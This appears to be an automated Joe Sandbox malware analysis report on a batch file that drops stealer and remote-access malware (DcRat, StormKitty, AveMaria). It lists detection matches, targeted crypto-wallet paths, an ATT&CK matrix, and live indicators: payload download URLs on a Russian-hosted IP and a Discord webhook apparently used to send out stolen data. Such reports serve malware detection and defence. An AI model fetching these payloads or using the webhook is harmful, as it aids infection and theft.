Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 0000000B.00000002.4575113182.0000000002D45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Yara detected Strela Stealer

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Remote Access Functionality

Yara detected AveMaria stealer

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Yara detected BrowserPasswordDump

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 0000000B.00000002.4575113182.0000000002D45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Yara detected Strela Stealer

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	1 Scheduled Task/Job	312 Process Injection	1 Masquerading	OS Credential Dumping	241 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scripting	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	24 System Information Discovery	SSH	Keylogging	11 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gqub.bat	0%	Virustotal		Browse
gqub.bat	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://wicroft.coma	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1rlrcY	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1)	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1p	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1.	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1c	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1o	0%	Avira URL Cloud	safe
http://147.45.H	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1USERDOMAIN=ENGIN	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1q	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps13	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfr	0%	Avira URL Cloud	safe
http://147.45.44.131/i	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/yijth.exe	0%	Avira URL Cloud	safe
http://www.newtonsoft.com/jsonschema	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/v	0%	Avira URL Cloud	safe
http://crl.microsofta	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCu	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfdjo.exe	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1S	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1.0(4	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1sn	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/vfrcxq.ps1	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfdjo.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://wicroft.coma	powershell.exe, 00000004.00000002.2213847413.0000023AE67E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1c	RegAsm.exe, 0000000B.00000002.4571894245.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1rlrcY	curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.H	powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023AD04E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1)	powershell.exe, 00000004.00000002.2166469376.0000023ACC7D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.2166864949.0000023ACF595000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/vfrcxq.ps1.	cvtres.exe, 00000007.00000002.2133825790.000001FF94F10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discordapp.com/api/v6/users/	RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/vfrcxq.ps1q	curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1USERDOMAIN=ENGIN	powershell.exe, 00000004.00000002.2166690348.0000023ACCAA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1p	powershell.exe, 00000004.00000002.2212985707.0000023AE6710000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1o	curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps13	powershell.exe, 00000004.00000002.2166469376.0000023ACC7E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/i	cvtres.exe, 00000007.00000002.2133825790.000001FF94F19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_seeaCould	powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.newtonsoft.com/jsonschema	powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131	powershell.exe, 00000004.00000002.2166864949.0000023AD0422000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/yijth.exe	powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2214254088.0000023AE6850000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000006.00000002.2135872843.000001E5269E7000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2134143521.000001E5269D4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2134245024.000001E5269D4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2134126088.000001E5269E4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2135173625.000001E526BAB000.00000004.00001000.00020000.00000000.sdmp, vbemnivw.dll.6.dr, vbemnivw.0.cs.4.dr	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354cIt	powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://ipinfo.io/ip	powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKitty	powershell.exe, 00000004.00000002.2166864949.0000023ACEB26000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023AD04EF000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/vfr	RegAsm.exe, 0000000B.00000002.4583749639.0000000005126000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCu	cvtres.exe, 00000007.00000002.2133894858.000001FF952C0000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.2133825790.000001FF94F10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5	powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsofta	powershell.exe, 00000004.00000002.2214333612.0000023AE68D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/v	curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.2166864949.0000023ACE601000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_see	powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/vfrcxq.ps1S	RegAsm.exe, 0000000B.00000002.4585082100.00000000051CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1sn	curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfrcxq.ps1.0(4	RegAsm.exe, 0000000B.00000002.4571894245.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.2166864949.0000023ACE601000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4575113182.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/vfrcxq.ps1USERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCU	RegAsm.exe, 0000000B.00000002.4587463326.00000000061A0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4573707806.0000000001210000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4571387972.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.44.131	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	false
157.20.182.177	unknown	unknown		24297	FCNUniversityPublicCorporationOsakaJP	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582970
Start date and time:	2025-01-01 08:52:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gqub.bat
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winBAT@20/11@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 89% Number of executed functions: 59 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.22.50.131, 2.22.50.144, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, 6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:52:57	API Interceptor	46x Sleep call for process: powershell.exe modified
02:53:07	API Interceptor	8738965x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.44.131	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/hgfpj.exe
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/inbg.exe
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/inbg.exe
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131/infopage/bnkh.exe
	htZgRRla8S.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.44.131/infopage/ung0.exe
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131/infopage/ilk.exe
	Captcha.hta	Get hash	malicious	HTMLPhisher	Browse	147.45.44.131/infopage/bgfi.ps1
	Captcha.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131/infopage/ung0.exe
	EBUdultKh7.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.44.131/infopage/vsom.exe
157.20.182.177	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FCNUniversityPublicCorporationOsakaJP	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	armv4l.elf	Get hash	malicious	Mirai	Browse	163.227.210.66
	2.elf	Get hash	malicious	Unknown	Browse	157.20.21.157
	1.elf	Get hash	malicious	Unknown	Browse	157.20.21.140
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	157.20.218.11
	3.elf	Get hash	malicious	Unknown	Browse	157.20.207.5
	3.elf	Get hash	malicious	Unknown	Browse	157.20.68.123
	3.elf	Get hash	malicious	Unknown	Browse	157.16.228.185
FREE-NET-ASFREEnetEU	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131
	Loader.exe	Get hash	malicious	Meduza Stealer	Browse	147.45.44.216
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	147.45.44.216
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131
	search.hta	Get hash	malicious	Unknown	Browse	147.45.112.248
	e9aa0b4540115b3dcec3af70b6de27e54e4a0fa96d1d3.exe	Get hash	malicious	RedLine	Browse	147.45.44.224
	TCKxnQ5CPn.exe	Get hash	malicious	Unknown	Browse	147.45.49.155
	good.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	147.45.44.151

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
